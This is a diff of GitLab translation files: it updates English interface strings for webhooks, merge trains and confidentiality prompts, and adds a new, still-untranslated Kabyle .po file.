+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr ""
@@ -27176,21 +27984,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27200,6 +28008,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27517,10 +28328,10 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
@@ -27529,6 +28340,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr ""
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27538,6 +28355,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -27574,9 +28394,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27610,13 +28427,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
+msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -27700,10 +28517,10 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -27916,6 +28733,9 @@ msgstr ""
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr ""
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -27991,7 +28811,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -28108,6 +28928,9 @@ msgstr ""
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28236,6 +29059,9 @@ msgstr ""
msgid "among other things"
msgstr ""
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28538,12 +29364,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr ""
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr ""
-
msgid "connecting"
msgstr ""
@@ -28700,6 +29520,11 @@ msgstr ""
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "group"
msgstr ""
@@ -28745,9 +29570,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] ""
@@ -28789,6 +29611,9 @@ msgstr ""
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -28938,9 +29763,15 @@ msgstr ""
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr ""
@@ -28953,6 +29784,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr ""
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr ""
@@ -29025,9 +29859,6 @@ msgstr ""
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -29061,12 +29892,6 @@ msgstr ""
msgid "mrWidget|More information"
msgstr ""
-msgid "mrWidget|No approval required"
-msgstr ""
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr ""
-
msgid "mrWidget|Open in Web IDE"
msgstr ""
@@ -29148,19 +29973,19 @@ msgstr ""
msgid "mrWidget|There are merge conflicts"
msgstr ""
-msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request is in the process of being merged"
+msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request is in the process of being merged"
msgstr ""
msgid "mrWidget|This project is archived, write access has been disabled"
@@ -29372,6 +30197,9 @@ msgstr ""
msgid "quick actions"
msgstr ""
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr ""
@@ -29416,9 +30244,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -29536,6 +30361,9 @@ msgstr ""
msgid "this document"
msgstr ""
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -29554,6 +30382,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -29617,6 +30448,9 @@ msgstr ""
msgid "vulnerability|Add comment & dismiss"
msgstr ""
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr ""
diff --git a/locale/kab/gitlab.po b/locale/kab/gitlab.po
new file mode 100644
index 00000000000..84e3b7064ba
--- /dev/null
+++ b/locale/kab/gitlab.po
@@ -0,0 +1,30486 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: gitlab-ee\n"
+"Report-Msgid-Bugs-To: \n"
+"Last-Translator: \n"
+"Language-Team: Kabyle\n"
+"Language: kab_KAB\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"Plural-Forms: nplurals=2; plural=(n != 1);\n"
+"X-Crowdin-Project: gitlab-ee\n"
+"X-Crowdin-Project-ID: 288872\n"
+"X-Crowdin-Language: kab\n"
+"X-Crowdin-File: /master/locale/gitlab.pot\n"
+"X-Crowdin-File-ID: 6\n"
+"PO-Revision-Date: 2020-09-04 23:11\n"
+
+msgid " %{start} to %{end}"
+msgstr ""
+
+msgid " (from %{timeoutSource})"
+msgstr ""
+
+msgid " Collected %{time}"
+msgstr ""
+
+msgid " Please sign in."
+msgstr ""
+
+msgid " Try to %{action} this file again."
+msgstr ""
+
+msgid " You need to do this before %{grace_period_deadline}."
+msgstr ""
+
+msgid " and"
+msgstr ""
+
+msgid " and "
+msgstr ""
+
+msgid " and %{sliced}"
+msgstr ""
+
+msgid " degraded on %d point"
+msgid_plural " degraded on %d points"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid " improved on %d point"
+msgid_plural " improved on %d points"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid " or "
+msgstr ""
+
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
+msgstr ""
+
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
+msgstr ""
+
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
+msgstr ""
+
+msgid " or references (e.g. path/to/project!merge_request_id)"
+msgstr ""
+
+msgid "\"%{path}\" did not exist on \"%{ref}\""
+msgstr ""
+
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "%d Scanned URL"
+msgid_plural "%d Scanned URLs"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d URL scanned"
+msgid_plural "%d URLs scanned"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d approver"
+msgid_plural "%d approvers"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d approver (you've approved)"
+msgid_plural "%d approvers (you've approved)"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d changed file"
+msgid_plural "%d changed files"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d child epic"
+msgid_plural "%d child epics"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d code quality issue"
+msgid_plural "%d code quality issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d comment"
+msgid_plural "%d comments"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d comment on this commit"
+msgid_plural "%d comments on this commit"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d commit"
+msgid_plural "%d commits"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d commit behind"
+msgid_plural "%d commits behind"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d commit,"
+msgid_plural "%d commits,"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d commits"
+msgstr ""
+
+msgid "%d contribution"
+msgid_plural "%d contributions"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d day"
+msgid_plural "%d days"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d error"
+msgid_plural "%d errors"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d exporter"
+msgid_plural "%d exporters"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d failed"
+msgid_plural "%d failed"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d fixed test result"
+msgid_plural "%d fixed test results"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d group selected"
+msgid_plural "%d groups selected"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d hour"
+msgid_plural "%d hours"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d inaccessible merge request"
+msgid_plural "%d inaccessible merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d issue"
+msgid_plural "%d issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d issue in this group"
+msgid_plural "%d issues in this group"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d issue successfully imported with the label"
+msgid_plural "%d issues successfully imported with the label"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d layer"
+msgid_plural "%d layers"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d merge request"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d merge request that you don't have access to."
+msgid_plural "%d merge requests that you don't have access to."
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d metric"
+msgid_plural "%d metrics"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d milestone"
+msgid_plural "%d milestones"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d minute"
+msgid_plural "%d minutes"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d more comment"
+msgid_plural "%d more comments"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d personal project will be removed and cannot be restored."
+msgid_plural "%d personal projects will be removed and cannot be restored."
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d previously merged commit"
+msgid_plural "%d previously merged commits"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d project"
+msgid_plural "%d projects"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d request with warnings"
+msgid_plural "%d requests with warnings"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d second"
+msgid_plural "%d seconds"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d shard selected"
+msgid_plural "%d shards selected"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d tag"
+msgid_plural "%d tags"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d unassigned issue"
+msgid_plural "%d unassigned issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d unresolved thread"
+msgid_plural "%d unresolved threads"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d vulnerability"
+msgid_plural "%d vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%d vulnerability dismissed"
+msgid_plural "%d vulnerabilities dismissed"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%s additional commit has been omitted to prevent performance issues."
+msgid_plural "%s additional commits have been omitted to prevent performance issues."
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{actionText} & %{openOrClose} %{noteable}"
+msgstr ""
+
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
+msgid "%{author_link} wrote:"
+msgstr ""
+
+msgid "%{authorsName}'s thread"
+msgstr ""
+
+msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
+msgstr ""
+
+msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
+msgstr ""
+
+msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
+msgstr ""
+
+msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
+msgstr ""
+
+msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
+msgstr ""
+
+msgid "%{code_open}Protected%{code_close} variables are only exposed to protected branches or tags."
+msgstr ""
+
+msgid "%{commit_author_link} authored %{commit_timeago}"
+msgstr ""
+
+msgid "%{completedWeight} of %{totalWeight} weight completed"
+msgstr ""
+
+msgid "%{containerScanningLinkStart}Container Scanning%{containerScanningLinkEnd} and/or %{dependencyScanningLinkStart}Dependency Scanning%{dependencyScanningLinkEnd} must be enabled. %{securityBotLinkStart}GitLab-Security-Bot%{securityBotLinkEnd} will be the author of the auto-created merge request. %{moreInfoLinkStart}More information%{moreInfoLinkEnd}."
+msgstr ""
+
+msgid "%{cores} cores"
+msgstr ""
+
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
+msgid "%{count} LOC/commit"
+msgstr ""
+
+msgid "%{count} approval required from %{name}"
+msgid_plural "%{count} approvals required from %{name}"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{count} approvals from %{name}"
+msgstr ""
+
+msgid "%{count} files touched"
+msgstr ""
+
+msgid "%{count} more"
+msgstr ""
+
+msgid "%{count} more assignees"
+msgstr ""
+
+msgid "%{count} more release"
+msgid_plural "%{count} more releases"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{count} of %{required} approvals from %{name}"
+msgstr ""
+
+msgid "%{count} of %{total}"
+msgstr ""
+
+msgid "%{count} participant"
+msgid_plural "%{count} participants"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{count} pending comment"
+msgid_plural "%{count} pending comments"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{count} related %{pluralized_subject}: %{links}"
+msgstr ""
+
+msgid "%{dashboard_path} could not be found."
+msgstr ""
+
+msgid "%{days} days until tags are automatically removed"
+msgstr ""
+
+msgid "%{deployLinkStart}Use a template to deploy to ECS%{deployLinkEnd}, or use a docker image to %{commandsLinkStart}run AWS commands in GitLab CI/CD%{commandsLinkEnd}."
+msgstr ""
+
+msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
+msgstr ""
+
+msgid "%{due_date} (Past due)"
+msgstr ""
+
+msgid "%{duration}ms"
+msgstr ""
+
+msgid "%{edit_in_new_fork_notice} Try to cherry-pick this commit again."
+msgstr ""
+
+msgid "%{edit_in_new_fork_notice} Try to create a new directory again."
+msgstr ""
+
+msgid "%{edit_in_new_fork_notice} Try to revert this commit again."
+msgstr ""
+
+msgid "%{edit_in_new_fork_notice} Try to upload a file again."
+msgstr ""
+
+msgid "%{extra} more downstream pipelines"
+msgstr ""
+
+msgid "%{filePath} deleted"
+msgstr ""
+
+msgid "%{firstLabel} +%{labelCount} more"
+msgstr ""
+
+msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
+msgstr ""
+
+msgid "%{global_id} is not a valid ID for %{expected_type}."
+msgstr ""
+
+msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
+msgstr ""
+
+msgid "%{group_name} group members"
+msgstr ""
+
+msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
+msgstr ""
+
+msgid "%{host} sign-in from new location"
+msgstr ""
+
+msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
+msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
+msgstr ""
+
+msgid "%{issuableType} will be removed! Are you sure?"
+msgstr ""
+
+msgid "%{issuesSize} issues with a limit of %{maxIssueCount}"
+msgstr ""
+
+msgid "%{issuesSize} with a limit of %{maxIssueCount}"
+msgstr ""
+
+msgid "%{labelStart}Class:%{labelEnd} %{class}"
+msgstr ""
+
+msgid "%{labelStart}Crash Address:%{labelEnd} %{crash_address}"
+msgstr ""
+
+msgid "%{labelStart}Crash State:%{labelEnd} %{stacktrace_snippet}"
+msgstr ""
+
+msgid "%{labelStart}Evidence:%{labelEnd} %{evidence}"
+msgstr ""
+
+msgid "%{labelStart}File:%{labelEnd} %{file}"
+msgstr ""
+
+msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Image:%{labelEnd} %{image}"
+msgstr ""
+
+msgid "%{labelStart}Method:%{labelEnd} %{method}"
+msgstr ""
+
+msgid "%{labelStart}Namespace:%{labelEnd} %{namespace}"
+msgstr ""
+
+msgid "%{labelStart}Report Type:%{labelEnd} %{reportType}"
+msgstr ""
+
+msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
+msgstr ""
+
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgstr ""
+
+msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgstr ""
+
+msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgstr ""
+
+msgid "%{label_for_message} unavailable"
+msgstr ""
+
+msgid "%{label_name} %{span_open}will be permanently deleted from %{subject_name}. This cannot be undone.%{span_close}"
+msgstr ""
+
+msgid "%{lets_encrypt_link_start}Let's Encrypt%{lets_encrypt_link_end} is a free, automated, and open certificate authority (CA), that give digital certificates in order to enable HTTPS (SSL/TLS) for websites."
+msgstr ""
+
+msgid "%{level_name} is not allowed in a %{group_level_name} group."
+msgstr ""
+
+msgid "%{level_name} is not allowed since the fork source project has lower visibility."
+msgstr ""
+
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
+msgid "%{link_start}Read more%{link_end} about role permissions"
+msgstr ""
+
+msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgstr ""
+
+msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgstr ""
+
+msgid "%{listToShow}, and %{awardsListLength} more."
+msgstr ""
+
+msgid "%{loadingIcon} Started"
+msgstr ""
+
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
+msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
+msgstr ""
+
+msgid "%{markdownDocsLinkStart}Markdown%{markdownDocsLinkEnd} and %{quickActionsDocsLinkStart}quick actions%{quickActionsDocsLinkEnd} are supported"
+msgstr ""
+
+msgid "%{mergeLength}/%{usersLength} can merge"
+msgstr ""
+
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
+msgid "%{mrText}, this issue will be closed automatically."
+msgstr ""
+
+msgid "%{name_with_link} has %{percent} or less Shared Runner Pipeline minutes remaining. Once it runs out, no new jobs or pipelines in its projects will run."
+msgstr ""
+
+msgid "%{name_with_link} has run out of Shared Runner Pipeline minutes so no new jobs or pipelines in its projects will run."
+msgstr ""
+
+msgid "%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgstr ""
+
+msgid "%{name} contained %{resultsString}"
+msgstr ""
+
+msgid "%{name} found %{resultsString}"
+msgstr ""
+
+msgid "%{name} is already being used for another emoji"
+msgstr ""
+
+msgid "%{name} is scheduled for %{action}"
+msgstr ""
+
+msgid "%{name}'s avatar"
+msgstr ""
+
+msgid "%{name}(%{url}) has %{percent} or less Shared Runner Pipeline minutes remaining. Once it runs out, no new jobs or pipelines in its projects will run."
+msgstr ""
+
+msgid "%{name}(%{url}) has run out of Shared Runner Pipeline minutes so no new jobs or pipelines in its projects will run."
+msgstr ""
+
+msgid "%{no_of_days} day"
+msgid_plural "%{no_of_days} days"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{number_commits_behind} commits behind %{default_branch}, %{number_commits_ahead} commits ahead"
+msgstr ""
+
+msgid "%{openOrClose} %{noteable}"
+msgstr ""
+
+msgid "%{openedEpics} open, %{closedEpics} closed"
+msgstr ""
+
+msgid "%{openedIssues} open, %{closedIssues} closed"
+msgstr ""
+
+msgid "%{percentage}%% weight completed"
+msgstr ""
+
+msgid "%{percent}%% complete"
+msgstr ""
+
+msgid "%{percent}%{percentSymbol} complete"
+msgstr ""
+
+msgid "%{placeholder} is not a valid color scheme"
+msgstr ""
+
+msgid "%{placeholder} is not a valid theme"
+msgstr ""
+
+msgid "%{primary} (%{secondary})"
+msgstr ""
+
+msgid "%{ref} cannot be added: %{error}"
+msgstr ""
+
+msgid "%{releases} release"
+msgid_plural "%{releases} releases"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{remaining_approvals} left"
+msgstr ""
+
+msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
+msgstr ""
+
+msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgstr ""
+
+msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
+msgstr ""
+
+msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
+msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
+msgstr ""
+
+msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
+msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{reportType} %{status} detected %{other} vulnerability."
+msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{reportType} %{status} detected no vulnerabilities."
+msgstr ""
+
+msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
+msgstr ""
+
+msgid "%{seconds}s"
+msgstr ""
+
+msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
+msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{securityScanner} result is not available because a pipeline has not been run since it was enabled. %{linkStart}Run a pipeline%{linkEnd}"
+msgid_plural "%{securityScanner} results are not available because a pipeline has not been run since it was enabled. %{linkStart}Run a pipeline%{linkEnd}"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{service_title} %{message}."
+msgstr ""
+
+msgid "%{size} GiB"
+msgstr ""
+
+msgid "%{size} KiB"
+msgstr ""
+
+msgid "%{size} MiB"
+msgstr ""
+
+msgid "%{size} bytes"
+msgstr ""
+
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
